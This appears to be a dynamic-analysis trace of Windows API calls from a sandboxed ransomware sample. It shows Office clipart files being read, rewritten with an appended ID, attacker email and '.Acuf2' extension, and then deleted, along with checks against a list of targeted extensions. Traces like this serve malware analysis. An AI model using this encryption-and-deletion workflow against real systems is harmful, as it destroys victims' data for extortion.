	[0263.741] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.741] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf")) returned 1
	[0263.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63
	[0263.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63
	[0263.742] lstrlenW (lpString=".doc") returned 4
	[0263.742] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0263.742] lstrlenW (lpString=".docx") returned 5
	[0263.742] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0263.742] lstrlenW (lpString=".pdf") returned 4
	[0263.742] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0263.742] lstrlenW (lpString=".xls") returned 4
	[0263.742] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0263.742] lstrlenW (lpString=".xlsx") returned 5
	[0263.742] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0263.742] lstrlenW (lpString=".ppt") returned 4
	[0263.742] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0263.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63
	[0263.742] lstrlenW (lpString=".zip") returned 4
	[0263.742] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0263.742] lstrlenW (lpString=".rar") returned 4
	[0263.742] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0263.742] lstrlenW (lpString=".bz2") returned 4
	[0263.742] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0263.742] lstrlenW (lpString=".7z") returned 3
	[0263.742] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0263.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63
	[0263.742] lstrlenW (lpString=".dbf") returned 4
	[0263.742] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0263.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63
	[0263.742] lstrlenW (lpString=".1cd") returned 4
	[0263.742] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0263.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63
	[0263.742] lstrlenW (lpString=".jpg") returned 4
	[0263.742] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0263.750] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=17924) returned 1
	[0263.750] CloseHandle (hObject=0x340) returned 1
	[0263.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf")) returned 0x20
	[0263.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0263.751] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.751] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0263.751] GetLastError () returned 0x0
	[0263.751] ReadFile (in: hFile=0x340, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x4604, lpOverlapped=0x0) returned 1
	[0263.753] WriteFile (in: hFile=0x35c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x4610, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x4610, lpOverlapped=0x0) returned 1
	[0263.757] ReadFile (in: hFile=0x340, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.757] WriteFile (in: hFile=0x35c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0263.757] SetEndOfFile (hFile=0x35c) returned 1
	[0263.757] CloseHandle (hObject=0x35c) returned 1
	[0263.757] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.757] SetEndOfFile (hFile=0x340) returned 1
	[0263.759] CloseHandle (hObject=0x340) returned 1
	[0263.759] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.759] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf")) returned 1
	[0263.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63
	[0263.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63
	[0263.760] lstrlenW (lpString=".doc") returned 4
	[0263.760] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0263.760] lstrlenW (lpString=".docx") returned 5
	[0263.760] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0263.760] lstrlenW (lpString=".pdf") returned 4
	[0263.760] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0263.760] lstrlenW (lpString=".xls") returned 4
	[0263.760] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0263.760] lstrlenW (lpString=".xlsx") returned 5
	[0263.760] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0263.760] lstrlenW (lpString=".ppt") returned 4
	[0263.760] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0263.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63
	[0263.760] lstrlenW (lpString=".zip") returned 4
	[0263.760] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0263.760] lstrlenW (lpString=".rar") returned 4
	[0263.760] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0263.760] lstrlenW (lpString=".bz2") returned 4
	[0263.760] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0263.760] lstrlenW (lpString=".7z") returned 3
	[0263.760] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0263.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63
	[0263.760] lstrlenW (lpString=".dbf") returned 4
	[0263.760] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0263.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63
	[0263.760] lstrlenW (lpString=".1cd") returned 4
	[0263.760] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0263.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63
	[0263.760] lstrlenW (lpString=".jpg") returned 4
	[0263.760] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0263.761] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=12958) returned 1
	[0263.761] CloseHandle (hObject=0x340) returned 1
	[0263.761] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf")) returned 0x20
	[0263.761] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0263.761] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.761] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0263.762] GetLastError () returned 0x0
	[0263.762] ReadFile (in: hFile=0x340, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x329e, lpOverlapped=0x0) returned 1
	[0263.766] WriteFile (in: hFile=0x35c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x32a0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x32a0, lpOverlapped=0x0) returned 1
	[0263.768] ReadFile (in: hFile=0x340, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.768] WriteFile (in: hFile=0x35c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0263.768] SetEndOfFile (hFile=0x35c) returned 1
	[0263.768] CloseHandle (hObject=0x35c) returned 1
	[0263.768] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.768] SetEndOfFile (hFile=0x340) returned 1
	[0263.770] CloseHandle (hObject=0x340) returned 1
	[0263.770] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.770] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf")) returned 1
	[0263.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63
	[0263.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63
	[0263.771] lstrlenW (lpString=".doc") returned 4
	[0263.771] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0263.771] lstrlenW (lpString=".docx") returned 5
	[0263.771] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0263.771] lstrlenW (lpString=".pdf") returned 4
	[0263.771] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0263.771] lstrlenW (lpString=".xls") returned 4
	[0263.771] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0263.771] lstrlenW (lpString=".xlsx") returned 5
	[0263.771] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0263.771] lstrlenW (lpString=".ppt") returned 4
	[0263.771] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0263.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63
	[0263.771] lstrlenW (lpString=".zip") returned 4
	[0263.771] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0263.771] lstrlenW (lpString=".rar") returned 4
	[0263.771] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0263.771] lstrlenW (lpString=".bz2") returned 4
	[0263.771] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0263.771] lstrlenW (lpString=".7z") returned 3
	[0263.771] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0263.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63
	[0263.771] lstrlenW (lpString=".dbf") returned 4
	[0263.771] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0263.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63
	[0263.771] lstrlenW (lpString=".1cd") returned 4
	[0263.772] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0263.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63
	[0263.772] lstrlenW (lpString=".jpg") returned 4
	[0263.772] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0263.772] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=2488) returned 1
	[0263.772] CloseHandle (hObject=0x340) returned 1
	[0263.772] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf")) returned 0x20
	[0263.772] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0263.772] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.772] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0263.773] GetLastError () returned 0x0
	[0263.773] ReadFile (in: hFile=0x340, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x9b8, lpOverlapped=0x0) returned 1
	[0263.942] WriteFile (in: hFile=0x35c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x9c0, lpOverlapped=0x0) returned 1
	[0263.943] ReadFile (in: hFile=0x340, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.943] WriteFile (in: hFile=0x35c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0263.943] SetEndOfFile (hFile=0x35c) returned 1
	[0263.943] CloseHandle (hObject=0x35c) returned 1
	[0263.943] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.943] SetEndOfFile (hFile=0x340) returned 1
	[0263.945] CloseHandle (hObject=0x340) returned 1
	[0263.945] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.981] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf")) returned 1
	[0264.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63
	[0264.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63
	[0264.098] lstrlenW (lpString=".doc") returned 4
	[0264.098] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0264.098] lstrlenW (lpString=".docx") returned 5
	[0264.098] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0264.098] lstrlenW (lpString=".pdf") returned 4
	[0264.098] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0264.098] lstrlenW (lpString=".xls") returned 4
	[0264.098] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0264.098] lstrlenW (lpString=".xlsx") returned 5
	[0264.098] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0264.098] lstrlenW (lpString=".ppt") returned 4
	[0264.098] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0264.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63
	[0264.098] lstrlenW (lpString=".zip") returned 4
	[0264.098] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0264.098] lstrlenW (lpString=".rar") returned 4
	[0264.098] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0264.098] lstrlenW (lpString=".bz2") returned 4
	[0264.098] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0264.099] lstrlenW (lpString=".7z") returned 3
	[0264.099] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0264.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63
	[0264.099] lstrlenW (lpString=".dbf") returned 4
	[0264.099] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0264.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63
	[0264.099] lstrlenW (lpString=".1cd") returned 4
	[0264.099] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0264.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63
	[0264.099] lstrlenW (lpString=".jpg") returned 4
	[0264.099] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0264.103] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=2070) returned 1
	[0264.103] CloseHandle (hObject=0x344) returned 1
	[0264.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf")) returned 0x20
	[0264.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0264.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0264.172] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.172] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0265.071] GetLastError () returned 0x0
	[0265.071] ReadFile (in: hFile=0x35c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x816, lpOverlapped=0x0) returned 1
	[0265.074] WriteFile (in: hFile=0x33c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x820, lpOverlapped=0x0) returned 1
	[0265.075] ReadFile (in: hFile=0x35c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0265.075] WriteFile (in: hFile=0x33c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xe4, lpOverlapped=0x0) returned 1
	[0265.075] SetEndOfFile (hFile=0x33c) returned 1
	[0265.075] CloseHandle (hObject=0x33c) returned 1
	[0265.075] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.075] SetEndOfFile (hFile=0x35c) returned 1
	[0265.077] CloseHandle (hObject=0x35c) returned 1
	[0265.077] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0265.092] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf")) returned 1
	[0265.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59
	[0265.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59
	[0265.092] lstrlenW (lpString=".doc") returned 4
	[0265.093] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0265.093] lstrlenW (lpString=".docx") returned 5
	[0265.093] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1
	[0265.093] lstrlenW (lpString=".pdf") returned 4
	[0265.093] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0265.093] lstrlenW (lpString=".xls") returned 4
	[0265.093] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0265.093] lstrlenW (lpString=".xlsx") returned 5
	[0265.093] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1
	[0265.093] lstrlenW (lpString=".ppt") returned 4
	[0265.093] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0265.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59
	[0265.093] lstrlenW (lpString=".zip") returned 4
	[0265.093] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0265.093] lstrlenW (lpString=".rar") returned 4
	[0265.093] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0265.093] lstrlenW (lpString=".bz2") returned 4
	[0265.093] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0265.093] lstrlenW (lpString=".7z") returned 3
	[0265.093] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0265.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59
	[0265.093] lstrlenW (lpString=".dbf") returned 4
	[0265.093] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0265.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59
	[0265.093] lstrlenW (lpString=".1cd") returned 4
	[0265.093] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0265.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59
	[0265.093] lstrlenW (lpString=".jpg") returned 4
